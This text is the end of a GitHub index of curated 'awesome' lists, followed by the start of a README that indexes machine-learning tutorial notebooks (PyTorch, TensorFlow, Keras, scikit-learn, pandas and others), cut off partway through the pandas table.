[Microservices](https://github.com/mfornos/awesome-microservices#readme) - [Unicode](https://github.com/jagracey/Awesome-Unicode#readme) - Unicode standards, quirks, packages and resources. - [Code Points](https://github.com/Codepoints/awesome-codepoints#readme) - [Beginner-Friendly Projects](https://github.com/MunGell/awesome-for-beginners#readme) - [Katas](https://github.com/gamontal/awesome-katas#readme) - [Tools for Activism](https://github.com/drewrwilson/toolsforactivism#readme) - [Citizen Science](https://github.com/dylanrees/citizen-science#readme) - For community-based and non-institutional scientists. - [MQTT](https://github.com/hobbyquaker/awesome-mqtt#readme) - "Internet of Things" connectivity protocol. - [Hacking Spots](https://github.com/daviddias/awesome-hacking-locations#readme) - [For Girls](https://github.com/cristianoliveira/awesome4girls#readme) - [Vorpal](https://github.com/vorpaljs/awesome-vorpal#readme) - Node.js CLI framework. - [Vulkan](https://github.com/vinjn/awesome-vulkan#readme) - Low-overhead, cross-platform 3D graphics and compute API. - [LaTeX](https://github.com/egeerardyn/awesome-LaTeX#readme) - Typesetting language. - [Economics](https://github.com/antontarasenko/awesome-economics#readme) - An economist's starter kit. - [Funny Markov Chains](https://github.com/sublimino/awesome-funny-markov#readme) - [Bioinformatics](https://github.com/danielecook/Awesome-Bioinformatics#readme) - [Cheminformatics](https://github.com/hsiaoyi0504/awesome-cheminformatics#readme) - Informatics techniques applied to problems in chemistry. - [Colorful](https://github.com/Siddharth11/Colorful#readme) - Choose your next color scheme. - [Steam](https://github.com/scholtzm/awesome-steam#readme) - Digital distribution platform. - [Bots](https://github.com/hackerkid/bots#readme) - Building bots. - [Site Reliability Engineering](https://github.com/dastergon/awesome-sre#readme) - [Empathy in Engineering](https://github.com/KimberlyMunoz/empathy-in-engineering#readme) - Building and promoting more compassionate engineering cultures. - [DTrace](https://github.com/xen0l/awesome-dtrace#readme) - Dynamic tracing framework. - [Userscripts](https://github.com/bvolpato/awesome-userscripts#readme) - Enhance your browsing experience. - [Pokémon](https://github.com/tobiasbueschel/awesome-pokemon#readme) - Pokémon and Pokémon GO. - [ChatOps](https://github.com/exAspArk/awesome-chatops#readme) - Managing technical and business operations through a chat. - [Falsehood](https://github.com/kdeldycke/awesome-falsehood#readme) - Falsehoods programmers believe in. - [Domain-Driven Design](https://github.com/heynickc/awesome-ddd#readme) - Software development approach for complex needs by connecting the implementation to an evolving model. - [Quantified Self](https://github.com/woop/awesome-quantified-self#readme) - Self-tracking through technology. - [SaltStack](https://github.com/hbokh/awesome-saltstack#readme) - Python-based config management system. - [Web Design](https://github.com/nicolesaidy/awesome-web-design#readme) - For digital designers. - [Creative Coding](https://github.com/terkelg/awesome-creative-coding#readme) - Programming something expressive instead of something functional. - [No-Login Web Apps](https://github.com/aviaryan/awesome-no-login-web-apps#readme) - Web apps that work without login. - [Free Software](https://github.com/johnjago/awesome-free-software#readme) - Free as in freedom. - [Framer](https://github.com/podo/awesome-framer#readme) - Prototyping interactive UI designs. - [Markdown](https://github.com/BubuAnabelas/awesome-markdown#readme) - Markup language. - [Dev Fun](https://github.com/mislavcimpersak/awesome-dev-fun#readme) - Funny developer projects. - [Healthcare](https://github.com/kakoni/awesome-healthcare#readme) - Open source healthcare software for facilities, providers, developers, policy experts, and researchers. - [Magento 2](https://github.com/DavidLambauer/awesome-magento2#readme) - Open Source eCommerce built with PHP. - [TikZ](https://github.com/xiaohanyu/awesome-tikz#readme) - Graph drawing packages for TeX/LaTeX/ConTeXt. - [Neuroscience](https://github.com/analyticalmonk/awesome-neuroscience#readme) - Study of the nervous system and brain. - [Ad-Free](https://github.com/johnjago/awesome-ad-free#readme) - Ad-free alternatives. - [Esolangs](https://github.com/angrykoala/awesome-esolangs#readme) - Programming languages designed for experimentation or as jokes rather than actual use. - [Prometheus](https://github.com/roaldnefs/awesome-prometheus#readme) - Open-source monitoring system. - [Homematic](https://github.com/homematic-community/awesome-homematic#readme) - Smart home devices. - [Ledger](https://github.com/sfischer13/awesome-ledger#readme) - Double-entry accounting on the command-line. - [Web Monetization](https://github.com/thomasbnt/awesome-web-monetization#readme) - A free open web standard service that allows you to send money directly in your browser. - [Uncopyright](https://github.com/johnjago/awesome-uncopyright#readme) - Public domain works. - [Crypto Currency Tools & Algorithms](https://github.com/Zheaoli/awesome-coins#readme) - Digital currency where encryption is used to regulate the generation of units and verify transfers. - [Diversity](https://github.com/folkswhocode/awesome-diversity#readme) - Creating a more inclusive and diverse tech community. - [Open Source Supporters](https://github.com/zachflower/awesome-open-source-supporters#readme) - Companies that offer their tools and services for free to open source projects. - [Design Principles](https://github.com/robinstickel/awesome-design-principles#readme) - Create better and more consistent designs and experiences. - [Theravada](https://github.com/johnjago/awesome-theravada#readme) - Teachings from the Theravada Buddhist tradition. - [inspectIT](https://github.com/inspectit-labs/awesome-inspectit#readme) - Open source Java app performance management tool. - [Open Source Maintainers](https://github.com/nayafia/awesome-maintainers#readme) - The experience of being an open source maintainer. - [Calculators](https://github.com/xxczaki/awesome-calculators#readme) - Calculators for every platform. - [Captcha](https://github.com/ZYSzys/awesome-captcha#readme) - A type of challenge–response test used in computing to determine whether or not the user is human. - [Jupyter](https://github.com/markusschanta/awesome-jupyter#readme) - Create and share documents that contain code, equations, visualizations and narrative text. - [FIRST Robotics Competition](https://github.com/andrewda/awesome-frc#readme) - International high school robotics championship. - [Humane Technology](https://github.com/humanetech-community/awesome-humane-tech#readme) - Open source projects that help improve society. - [Speakers](https://github.com/karlhorky/awesome-speakers#readme) - Conference and meetup speakers in the programming and design community. - [Board Games](https://github.com/edm00se/awesome-board-games#readme) - Table-top gaming fun for all. - [Software Patreons](https://github.com/uraimo/awesome-software-patreons#readme) - Fund individual programmers or the development of open source projects. - [Parasite](https://github.com/ecohealthalliance/awesome-parasite#readme) - Parasites and host-pathogen interactions. - [Food](https://github.com/jzarca01/awesome-food#readme) - Food-related projects on GitHub. - [Mental Health](https://github.com/dreamingechoes/awesome-mental-health#readme) - Mental health awareness and self-care in the software industry. - [Bitcoin Payment Processors](https://github.com/alexk111/awesome-bitcoin-payment-processors#readme) - Start accepting Bitcoin. - [Scientific Computing](https://github.com/nschloe/awesome-scientific-computing#readme) - Solving complex scientific problems using computers. - [Amazon Sellers](https://github.com/ScaleLeap/awesome-amazon-seller#readme) - [Agriculture](https://github.com/brycejohnston/awesome-agriculture#readme) - Open source technology for farming and gardening. - [Product Design](https://github.com/ttt30ga/awesome-product-design#readme) - Design a product from the initial concept to production. - [Prisma](https://github.com/catalinmiron/awesome-prisma#readme) - Turn your database into a GraphQL API. - [Software Architecture](https://github.com/simskij/awesome-software-architecture#readme) - The discipline of designing and building software. - [Connectivity Data and Reports](https://github.com/stevesong/awesome-connectivity-info#readme) - Better understand who has access to telecommunication and internet infrastructure and on what terms. - [Stacks](https://github.com/stackshareio/awesome-stacks#readme) - Tech stacks for building different apps and features. - [Cytodata](https://github.com/cytodata/awesome-cytodata#readme) - Image-based profiling of biological phenotypes for computational biologists. - [IRC](https://github.com/davisonio/awesome-irc#readme) - Open source messaging protocol. - [Advertising](https://github.com/cenoura/awesome-ads#readme) - Advertising and programmatic media for websites. - [Earth](https://github.com/philsturgeon/awesome-earth#readme) - Find ways to resolve the climate crisis. - [Naming](https://github.com/gruhn/awesome-naming#readme) - Naming things in computer science done right. - [Biomedical Information Extraction](https://github.com/caufieldjh/awesome-bioie#readme) - How to extract information from unstructured biomedical data and text. - [Web Archiving](https://github.com/iipc/awesome-web-archiving#readme) - An effort to preserve the Web for future generations. - [WP-CLI](https://github.com/schlessera/awesome-wp-cli#readme) - Command-line interface for WordPress. - [Credit Modeling](https://github.com/mourarthur/awesome-credit-modeling#readme) - Methods for classifying credit applicants into risk classes. - [Ansible](https://github.com/ansible-community/awesome-ansible#readme) - A Python-based, open source IT configuration management and automation platform. - [Biological Visualizations](https://github.com/keller-mark/awesome-biological-visualizations#readme) - Interactive visualization of biological data on the web. - [QR Code](https://github.com/make-github-pseudonymous-again/awesome-qr-code#readme) - A type of matrix barcode that can be used to store and share a small amount of information. - [Veganism](https://github.com/sdassow/awesome-veganism#readme) - Making the plant-based lifestyle easy and accessible. - [Translations](https://github.com/mbiesiad/awesome-translations#readme) - The transfer of the meaning of a text from one language to another. - [Scriptable](https://github.com/dersvenhesse/awesome-scriptable#readme) - An iOS app for automations in JavaScript. - [WebXR](https://github.com/msub2/awesome-webxr#readme) - Enables immersive virtual reality and augmented reality content on the web. - [OpenStreetMap](https://github.com/osmlab/awesome-openstreetmap#readme) - An open data mapping project utilized by many apps and devices. - [Computational Biology](https://github.com/inoue0426/awesome-computational-biology#readme) - Computational approaches applied to problems in biology. ## Related - [All Awesome Lists](https://github.com/topics/awesome) - All the Awesome lists on GitHub. - [Awesome Indexed](https://awesome-indexed.mathew-davies.co.uk) - Search the Awesome dataset. - [Awesome Search](https://awesomelists.top) - Quick search for Awesome lists. - [StumbleUponAwesome](https://github.com/basharovV/StumbleUponAwesome) - Discover random pages from the Awesome dataset using a browser extension. - [Awesome CLI](https://github.com/umutphp/awesome-cli) - A simple command-line tool to dive into Awesome lists. - [Awesome Viewer](https://awesome.digitalbunker.dev) - A visualizer for all of the above Awesome lists. - [Track Awesome List](https://www.trackawesomelist.com) - View the latest updates of Awesome lists.

# NEW LIST 2023 - 2024: Machine-Learning / Deep-Learning / AI + Web3 -Tutorials Hi - Thanks for dropping by!<br> <br> I will be updating this tutorials site on a <b>daily basis</b> adding all relevant topcis for 2022 - 2024 especially pertaining to **GPU programming, Data Centric AI, Emerging topics like Sustainable AI with Web3AI.js (DeFI, DAO, NFT) and much more**.<br> **NOTE: All these tutorials are supported and accelerated on NVIDIA GPUs** <br> More importantly the applications of ML/DL/AI into industry areas such as Transportation, Medicine/Healthcare etc. will be something I'll watch with keen interest and would love to share the same with you. <br> Finally, it is **YOUR** help I will seek to make it more useful and less boring, so please do suggest/comment/contribute! <p align="center"> <img src="https://github.com/TarrySingh/Artificial-Intelligence-Deep-Learning-Machine-Learning-Tutorials/blob/master/images/DK.png"> </p> ## Index * [deep-learning](#deep-learning) * [UBER | Pyro](#uber-pyro-probabalistic-tutorials) * [Netflix | VectorFlow](#netflix-vectorflow-tutorials) * [PyTorch](#pytorch-tutorials) * [tensorflow](#tensor-flow-tutorials) * [theano](#theano-tutorials) * [keras](#keras-tutorials) * [caffe](#deep-learning-misc) * [Torch/Lua]() * [MXNET]() * [scikit-learn](#scikit-learn) * [statistical-inference-scipy](#statistical-inference-scipy) * [pandas](#pandas) * [matplotlib](#matplotlib) * [numpy](#numpy) * [python-data](#python-data) * [kaggle-and-business-analyses](#kaggle-and-business-analyses) * [spark](#spark) * [mapreduce-python](#mapreduce-python) * [amazon web services](#aws) * [command lines](#commands) * [misc](#misc) * [notebook-installation](#notebook-installation) * [Curated list of Deep Learning / AI blogs](#curated-list-of-deeplearning-blogs) * [credits](#credits) * [contributing](#contributing) * [contact-info](#contact-info) * [license](#license) ## deep-learning IPython Notebook(s) and other programming tools such as Torch/Lua/D lang in demonstrating deep learning functionality. ### uber-pyro-probabalistic-tutorials <p align="center"> <img src="https://github.com/TarrySingh/Artificial-Intelligence-Deep-Learning-Machine-Learning-Tutorials/blob/master/images/pyro.png"> </p> Additional PyRo tutorials: * [pyro-examples/full examples](http://pyro.ai/examples/) * [pyro-examples/Variational Autoencoders](http://pyro.ai/examples/vae.html) * [pyro-examples/Bayesian Regression](http://pyro.ai/examples/bayesian_regression.html) * [pyro-examples/Deep Markov Model](http://pyro.ai/examples/dmm.html) * [pyro-examples/AIR(Attend Infer Repeat)](http://pyro.ai/examples/air.html) * [pyro-examples/Semi-Supervised VE](http://pyro.ai/examples/ss-vae.html) * [pyro-examples/GMM](http://pyro.ai/examples/gmm.html) * [pyro-examples/Gaussian Process](http://pyro.ai/examples/gp.html) * [pyro-examples/Bayesian Optimization](http://pyro.ai/examples/bo.html) * [Full Pyro Code](https://github.com/TarrySingh/Artificial-Intelligence-Deep-Learning-Machine-Learning-Tutorials/tree/master/deep-learning/UBER-pyro) ### netflix-vectorflow-tutorials <p align="center"> <img src="https://github.com/TarrySingh/Artificial-Intelligence-Deep-Learning-Machine-Learning-Tutorials/blob/master/images/VectorFlow.png"> </p> * [MNIST Example, running with Dlang](https://github.com/Netflix/vectorflow/tree/master/examples) ### pytorch-tutorials <p align="center"> <img src="https://github.com/TarrySingh/Artificial-Intelligence-Deep-Learning-Machine-Learning-Tutorials/blob/master/images/PyTorch.png"> </p> | Level | Description | |--------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------| | [Beginners/Zakizhou](https://github.com/pytorch/tutorials/tree/master/beginner_source) | Learning the basics of PyTorch from Facebook. | | [Intermedia/Quanvuong](https://github.com/pytorch/tutorials/tree/master/intermediate_source) | Learning the intermediate stuff about PyTorch of from Facebook. | | [Advanced/Chsasank](https://github.com/pytorch/tutorials/tree/master/advanced_source) | Learning the advanced stuff about PyTorch of from Facebook. | | [Learning PyTorch by Examples - Numpy, Tensors and Autograd](https://github.com/TarrySingh/Artificial-Intelligence-Deep-Learning-Machine-Learning-Tutorials/tree/master/pytorch) | At its core, PyTorch provides two main features an n-dimensional Tensor, similar to numpy but can run on GPUs AND automatic differentiation for building and training neural networks. | | [PyTorch - Getting to know autograd.Variable, Gradient, Neural Network](https://github.com/TarrySingh/Artificial-Intelligence-Deep-Learning-Machine-Learning-Tutorials/blob/master/pytorch/PyTorch%20NN%20Basics%20-%20Autograd%20Gradient%20Neural%20Network%20Loss%20Backprop.ipynb) | Here we start with ultimate basics of Tensors, wrap a Tensor with Variable module, play with nn.Module and implement forward and backward function. | ### tensor-flow-tutorials <br/> <p align="center"> <img src="https://avatars0.githubusercontent.com/u/15658638?v=3&s=100"> </p> Additional TensorFlow tutorials: * [pkmital/tensorflow_tutorials](https://github.com/pkmital/tensorflow_tutorials) * [nlintz/TensorFlow-Tutorials](https://github.com/nlintz/TensorFlow-Tutorials) * [alrojo/tensorflow-tutorial](https://github.com/alrojo/tensorflow-tutorial) * [BinRoot/TensorFlow-Book](https://github.com/BinRoot/TensorFlow-Book) | Notebook | Description | |--------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------| | [tsf-basics](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/deep-learning/tensor-flow-examples/notebooks/1_intro/basic_operations.ipynb) | Learn basic operations in TensorFlow, a library for various kinds of perceptual and language understanding tasks from Google. | | [tsf-linear](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/deep-learning/tensor-flow-examples/notebooks/2_basic_classifiers/linear_regression.ipynb) | Implement linear regression in TensorFlow. | | [tsf-logistic](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/deep-learning/tensor-flow-examples/notebooks/2_basic_classifiers/logistic_regression.ipynb) | Implement logistic regression in TensorFlow. | | [tsf-nn](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/deep-learning/tensor-flow-examples/notebooks/2_basic_classifiers/nearest_neighbor.ipynb) | Implement nearest neighboars in TensorFlow. | | [tsf-alex](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/deep-learning/tensor-flow-examples/notebooks/3_neural_networks/alexnet.ipynb) | Implement AlexNet in TensorFlow. | | [tsf-cnn](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/deep-learning/tensor-flow-examples/notebooks/3_neural_networks/convolutional_network.ipynb) | Implement convolutional neural networks in TensorFlow. | | [tsf-mlp](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/deep-learning/tensor-flow-examples/notebooks/3_neural_networks/multilayer_perceptron.ipynb) | Implement multilayer perceptrons in TensorFlow. | | [tsf-rnn](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/deep-learning/tensor-flow-examples/notebooks/3_neural_networks/recurrent_network.ipynb) | Implement recurrent neural networks in TensorFlow. | | [tsf-gpu](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/deep-learning/tensor-flow-examples/notebooks/4_multi_gpu/multigpu_basics.ipynb) | Learn about basic multi-GPU computation in TensorFlow. | | [tsf-gviz](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/deep-learning/tensor-flow-examples/notebooks/5_ui/graph_visualization.ipynb) | Learn about graph visualization in TensorFlow. | | [tsf-lviz](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/deep-learning/tensor-flow-examples/notebooks/5_ui/loss_visualization.ipynb) | Learn about loss visualization in TensorFlow. | ### tensor-flow-exercises | Notebook | Description | |--------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------| | [tsf-not-mnist](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/deep-learning/tensor-flow-exercises/1_notmnist.ipynb) | Learn simple data curation by creating a pickle with formatted datasets for training, development and testing in TensorFlow. | | [tsf-fully-connected](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/deep-learning/tensor-flow-exercises/2_fullyconnected.ipynb) | Progressively train deeper and more accurate models using logistic regression and neural networks in TensorFlow. | | [tsf-regularization](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/deep-learning/tensor-flow-exercises/3_regularization.ipynb) | Explore regularization techniques by training fully connected networks to classify notMNIST characters in TensorFlow. | | [tsf-convolutions](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/deep-learning/tensor-flow-exercises/4_convolutions.ipynb) | Create convolutional neural networks in TensorFlow. | | [tsf-word2vec](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/deep-learning/tensor-flow-exercises/5_word2vec.ipynb) | Train a skip-gram model over Text8 data in TensorFlow. | | [tsf-lstm](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/deep-learning/tensor-flow-exercises/6_lstm.ipynb) | Train a LSTM character model over Text8 data in TensorFlow. | <br/> <p align="center"> <img src="http://www.deeplearning.net/software/theano/_static/theano_logo_allblue_200x46.png"> </p> ### theano-tutorials | Notebook | Description | |--------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------| | [theano-intro](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/deep-learning/theano-tutorial/intro_theano/intro_theano.ipynb) | Intro to Theano, which allows you to define, optimize, and evaluate mathematical expressions involving multi-dimensional arrays efficiently. It can use GPUs and perform efficient symbolic differentiation. | | [theano-scan](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/deep-learning/theano-tutorial/scan_tutorial/scan_tutorial.ipynb) | Learn scans, a mechanism to perform loops in a Theano graph. | | [theano-logistic](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/deep-learning/theano-tutorial/intro_theano/logistic_regression.ipynb) | Implement logistic regression in Theano. | | [theano-rnn](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/deep-learning/theano-tutorial/rnn_tutorial/simple_rnn.ipynb) | Implement recurrent neural networks in Theano. | | [theano-mlp](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/deep-learning/theano-tutorial/theano_mlp/theano_mlp.ipynb) | Implement multilayer perceptrons in Theano. | <br/> <p align="center"> <img src="http://i.imgur.com/L45Q8c2.jpg"> </p> ### keras-tutorials | Notebook | Description | |--------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------| | keras | Keras is an open source neural network library written in Python. It is capable of running on top of either Tensorflow or Theano. | | [setup](https://github.com/leriomaggio/deep-learning-keras-tensorflow/blob/master/README.md) | Learn about the tutorial goals and how to set up your Keras environment. | | [intro-deep-learning-ann](https://github.com/leriomaggio/deep-learning-keras-tensorflow/blob/master/1.%20ANN/1.1%20Introduction%20-%20Deep%20Learning%20and%20ANN.ipynb) | Get an intro to deep learning with Keras and Artificial Neural Networks (ANN). | | [Perceptrons and Adaline](https://github.com/leriomaggio/deep-learning-keras-tensorflow/blob/master/1.%20ANN/1.1.1%20Perceptron%20and%20Adaline.ipynb) | Implement Peceptron and adaptive linear neurons. | | [MLP and MNIST Data](https://github.com/leriomaggio/deep-learning-keras-tensorflow/blob/master/1.%20ANN/1.1.2%20MLP%20and%20MNIST.ipynb) | Classifying handwritten digits,implement MLP, train and debug ANN | | [theano](http://nbviewer.ipython.org/github/leriomaggio/deep-learning-keras-tensorflow/blob/master/1.2%20Introduction%20-%20Theano.ipynb) | Learn about Theano by working with weights matrices and gradients. | | [keras-otto](http://nbviewer.ipython.org/github/leriomaggio/deep-learning-keras-tensorflow/blob/master/1.3%20Introduction%20-%20Keras.ipynb) | Learn about Keras by looking at the Kaggle Otto challenge. | | [ann-mnist](http://nbviewer.ipython.org/github/leriomaggio/deep-learning-keras-tensorflow/blob/master/1.4%20(Extra)%20A%20Simple%20Implementation%20of%20ANN%20for%20MNIST.ipynb) | Review a simple implementation of ANN for MNIST using Keras. | | [conv-nets](http://nbviewer.ipython.org/github/leriomaggio/deep-learning-keras-tensorflow/blob/master/2.1%20Supervised%20Learning%20-%20ConvNets.ipynb) | Learn about Convolutional Neural Networks (CNNs) with Keras. | | [conv-net-1](http://nbviewer.ipython.org/github/leriomaggio/deep-learning-keras-tensorflow/blob/master/2.2.1%20Supervised%20Learning%20-%20ConvNet%20HandsOn%20Part%20I.ipynb) | Recognize handwritten digits from MNIST using Keras - Part 1. | | [conv-net-2](http://nbviewer.ipython.org/github/leriomaggio/deep-learning-keras-tensorflow/blob/master/2.2.2%20Supervised%20Learning%20-%20ConvNet%20HandsOn%20Part%20II.ipynb) | Recognize handwritten digits from MNIST using Keras - Part 2. | | [keras-models](http://nbviewer.ipython.org/github/leriomaggio/deep-learning-keras-tensorflow/blob/master/2.3%20Supervised%20Learning%20-%20Famous%20Models%20with%20Keras.ipynb) | Use pre-trained models such as VGG16, VGG19, ResNet50, and Inception v3 with Keras. | | [auto-encoders](https://github.com/leriomaggio/deep-learning-keras-tensorflow/blob/master/6.%20AutoEncoders%20and%20Embeddings/6.1.%20AutoEncoders%20and%20Embeddings.ipynb) | Learn about Autoencoders with Keras. | | [rnn-lstm](https://github.com/leriomaggio/deep-learning-keras-tensorflow/blob/master/7.%20Recurrent%20Neural%20Networks/7.1%20RNN%20and%20LSTM.ipynb) | Learn about Recurrent Neural Networks (RNNs) with Keras. | | [lstm-sentence-gen](https://github.com/leriomaggio/deep-learning-keras-tensorflow/blob/master/7.%20Recurrent%20Neural%20Networks/7.2%20LSTM%20for%20Sentence%20Generation.ipynb) | Learn about RNNs using Long Short Term Memory (LSTM) networks with Keras. | | [nlp-deep-learning](https://github.com/leriomaggio/deep-learning-keras-tensorflow/blob/master/6.%20AutoEncoders%20and%20Embeddings/6.2%20NLP%20and%20Deep%20Learning.ipynb) | Learn about NLP using ANN (Artificial Neural Networks. | | [hyperparamter-tuning](https://github.com/leriomaggio/deep-learning-keras-tensorflow/blob/master/5.%20HyperParameter%20Tuning%20and%20Transfer%20Learning/5.1%20HyperParameter%20Tuning.ipynb) | Hyperparamters tuning using keras-wrapper.scikit-learn | ### deep-learning-misc | Notebook | Description | |--------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------| | [deep-dream](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/deep-learning/deep-dream/dream.ipynb) | Caffe-based computer vision program which uses a convolutional neural network to find and enhance patterns in images. | <br/> <p align="center"> <img src="https://raw.githubusercontent.com/donnemartin/data-science-ipython-notebooks/master/images/scikitlearn.png"> </p> ## scikit-learn IPython Notebook(s) demonstrating scikit-learn functionality. | Notebook | Description | |--------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------| | [intro](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/scikit-learn/scikit-learn-intro.ipynb) | Intro notebook to scikit-learn. Scikit-learn adds Python support for large, multi-dimensional arrays and matrices, along with a large library of high-level mathematical functions to operate on these arrays. | | [knn](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/scikit-learn/scikit-learn-intro.ipynb#K-Nearest-Neighbors-Classifier) | Implement k-nearest neighbors in scikit-learn. | | [linear-reg](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/scikit-learn/scikit-learn-linear-reg.ipynb) | Implement linear regression in scikit-learn. | | [svm](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/scikit-learn/scikit-learn-svm.ipynb) | Implement support vector machine classifiers with and without kernels in scikit-learn. | | [random-forest](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/scikit-learn/scikit-learn-random-forest.ipynb) | Implement random forest classifiers and regressors in scikit-learn. | | [k-means](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/scikit-learn/scikit-learn-k-means.ipynb) | Implement k-means clustering in scikit-learn. | | [pca](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/scikit-learn/scikit-learn-pca.ipynb) | Implement principal component analysis in scikit-learn. | | [gmm](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/scikit-learn/scikit-learn-gmm.ipynb) | Implement Gaussian mixture models in scikit-learn. | | [validation](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/scikit-learn/scikit-learn-validation.ipynb) | Implement validation and model selection in scikit-learn. | <br/> <p align="center"> <img src="https://raw.githubusercontent.com/donnemartin/data-science-ipython-notebooks/master/images/scipy.png"> </p> ## statistical-inference-scipy IPython Notebook(s) demonstrating statistical inference with SciPy functionality. | Notebook | Description | |--------------------------------------------------------------------------------------------------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------| | scipy | SciPy is a collection of mathematical algorithms and convenience functions built on the Numpy extension of Python. It adds significant power to the interactive Python session by providing the user with high-level commands and classes for manipulating and visualizing data. | | [effect-size](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/scipy/effect_size.ipynb) | Explore statistics that quantify effect size by analyzing the difference in height between men and women. Uses data from the Behavioral Risk Factor Surveillance System (BRFSS) to estimate the mean and standard deviation of height for adult women and men in the United States. | | [sampling](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/scipy/sampling.ipynb) | Explore random sampling by analyzing the average weight of men and women in the United States using BRFSS data. | | [hypothesis](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/scipy/hypothesis.ipynb) | Explore hypothesis testing by analyzing the difference of first-born babies compared with others. | <br/> <p align="center"> <img src="https://raw.githubusercontent.com/donnemartin/data-science-ipython-notebooks/master/images/pandas.png"> </p> ## pandas IPython Notebook(s) demonstrating pandas functionality. | Notebook | Description | |--------------------------------------------------------------------------------------------------------------------------------|-----------------------------------------------------------------------------------------------------------------------------------------------------------------| | [pandas](http://nbviewer.ipython.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/pandas/pandas.ipynb) | Software library written for data manipulation and analysis in Python. Offers data structures and operations for manipulating numerical tables and time series. | | [github-data-wrangling](https://github.com/donnemartin/viz/blob/master/githubstats/data_wrangling.ipynb) | Learn how to load, clean, merge, and feature engineer by analyzing GitHub data from the [`Viz`](https://github.com/donnemartin/viz) repo. | | [Introduction-to-Pandas](http://nbviewer.jupyter.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/pandas/03.00-Introduction-to-Pandas.ipynb) | Introduction to Pandas. | | [Introducing-Pandas-Objects](http://nbviewer.jupyter.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/pandas/03.01-Introducing-Pandas-Objects.ipynb) | Learn about Pandas objects. | | [Data Indexing and Selection](http://nbviewer.jupyter.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/pandas/03.02-Data-Indexing-and-Selection.ipynb) | Learn about data indexing and selection in Pandas. | | [Operations-in-Pandas](http://nbviewer.jupyter.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/pandas/03.03-Operations-in-Pandas.ipynb) | Learn about operating on data in Pandas. | | [Missing-Values](http://nbviewer.jupyter.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/pandas/03.04-Missing-Values.ipynb) | Learn about handling missing data in Pandas. | | [Hierarchical-Indexing](http://nbviewer.jupyter.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/pandas/03.05-Hierarchical-Indexing.ipynb) | Learn about hierarchical indexing in Pandas. | | [Concat-And-Append](http://nbviewer.jupyter.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/pandas/03.06-Concat-And-Append.ipynb) | Learn about combining datasets: concat and append in Pandas. | | [Merge-and-Join](http://nbviewer.jupyter.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/pandas/03.07-Merge-and-Join.ipynb) | Learn about combining datasets: merge and join in Pandas. | | [Aggregation-and-Grouping](http://nbviewer.jupyter.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/pandas/03.08-Aggregation-and-Grouping.ipynb) | Learn about aggregation and grouping in Pandas. | | [Pivot-Tables](http://nbviewer.jupyter.org/github/TarrySingh/Machine-Learning-Tutorials/blob/master/pandas/03.09-Pivot-Tables.ipynb) | Learn about pivot tables in Pandas. | | 